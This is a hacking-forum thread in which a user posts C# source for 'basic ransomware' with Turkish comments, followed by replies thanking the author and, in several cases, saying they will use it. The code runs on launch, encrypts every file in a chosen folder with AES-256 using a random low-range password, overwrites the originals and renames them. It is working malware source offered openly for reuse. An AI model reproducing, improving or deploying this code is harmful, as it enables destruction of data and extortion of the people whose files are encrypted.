Basic ransomware //By 0bayt

[0bayt 0]

Note : Sorry for my bad english :/

 

Programming lang : C#

Algorithm : AES256

[hide]

Note : Lang : Turkish (use google or yandex translator ehmm or your turkish friend)

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.IO; //Zorunlu!
using System.Security.Cryptography; //Zorunlu!
namespace FidyeVirüsü
{
   public partial class Form1 : Form
   {
       public Form1()
       {
           InitializeComponent();
           string[] dosyalar = Directory.GetFiles(@"Kriptolonacak dosyaların yolu buraya yazılır isterseniz rasgele şekilde baştan tasarlayabilirsiniz ama mantık diziler üzerinden hazırlanmıştır");
           for (int i = 0; i < dosyalar.Length; i++)
           {
               Random Parola = new Random();
               EncryptFile(dosyalar[i].ToString(), Parola.Next(1, 500).ToString()); //dosyaları dosyalar isimli diziden alır  - parola ise 1 ile 500 arasında rasgele bir sayıdan oluşur (methodu inceleyerek daha iyi anlayabilirisiniz)
               File.Move(dosyalar[i], dosyalar[i]+".şifrelenmişdosyauzantısı");
           }
       }

       private void Form1_Load(object sender, EventArgs e)
       {

       }
       public void EncryptFile(string file, string password) //Şifrelemeyi yapan methodumuz
       {

           byte[] bytesToBeEncrypted = File.ReadAllBytes(file);
           byte[] passwordBytes = Encoding.UTF8.GetBytes(password);

           // Hash the password with SHA256
           passwordBytes = SHA256.Create().ComputeHash(passwordBytes);

           byte[] bytesEncrypted = AES_Encrypt(bytesToBeEncrypted, passwordBytes);

           string fileEncrypted = file;

           File.WriteAllBytes(fileEncrypted, bytesEncrypted);
       }
       public byte[] AES_Encrypt(byte[] bytesToBeEncrypted, byte[] passwordBytes) //algoritmamızın bulunduğu method
       {
           byte[] encryptedBytes = null;
           byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };

           using (MemoryStream ms = new MemoryStream())
           {
               using (RijndaelManaged AES = new RijndaelManaged())
               {
                   AES.KeySize = 256;
                   AES.BlockSize = 128;

                   var key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000);
                   AES.Key = key.GetBytes(AES.KeySize / 8);
                   AES.IV = key.GetBytes(AES.BlockSize / 8);

                   AES.Mode = CipherMode.CBC;

                   using (var cs = new CryptoStream(ms, AES.CreateEncryptor(), CryptoStreamMode.Write))
                   {
                       cs.Write(bytesToBeEncrypted, 0, bytesToBeEncrypted.Length);
                       cs.Close();
                   }
                   encryptedBytes = ms.ToArray();
               }
           }

           return encryptedBytes;
       }
   }
}

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Note : This ransomware only doing crypting

Note : This program programmed by me if you want you can edit this program and say "i programmed this virus"

[hrcretro 2]

you already know im replying to this good job bro

ediit:dont reply guys tbh its super turkish

[kyjoebro 0]

Note : Sorry for my bad english :/

 

Programming lang : C#

Algorithm : AES256

 

 

Note : This ransomware only doing crypting

Note : This program programmed by me if you want you can edit this program and say "i programmed this virus"

 

ex work good shit

[logicmanblue 0]

güzel pay thansk al çok adam

[hack3rman 0]

Interesting project, I will check that. Thank you mate.

[Providence 0]

Note : Sorry for my bad english :/

 

Programming lang : C#

Algorithm : AES256

 

 

Note : This ransomware only doing crypting

Note : This program programmed by me if you want you can edit this program and say "i programmed this virus"

 

thanks a lot for this mate, will use it

[zowlex 0]

Good shit, good shit !

[pasags06 0]

thank you fr

[zoecher 0]

:fiesta: Nice

[alenet 0]

Nice post! I will try it.

[Zebexyird 5]

güzel pay thansk al çok adam

[hackernix 1]

Thank you so much!

[10ocs 0]

thx m8 will use it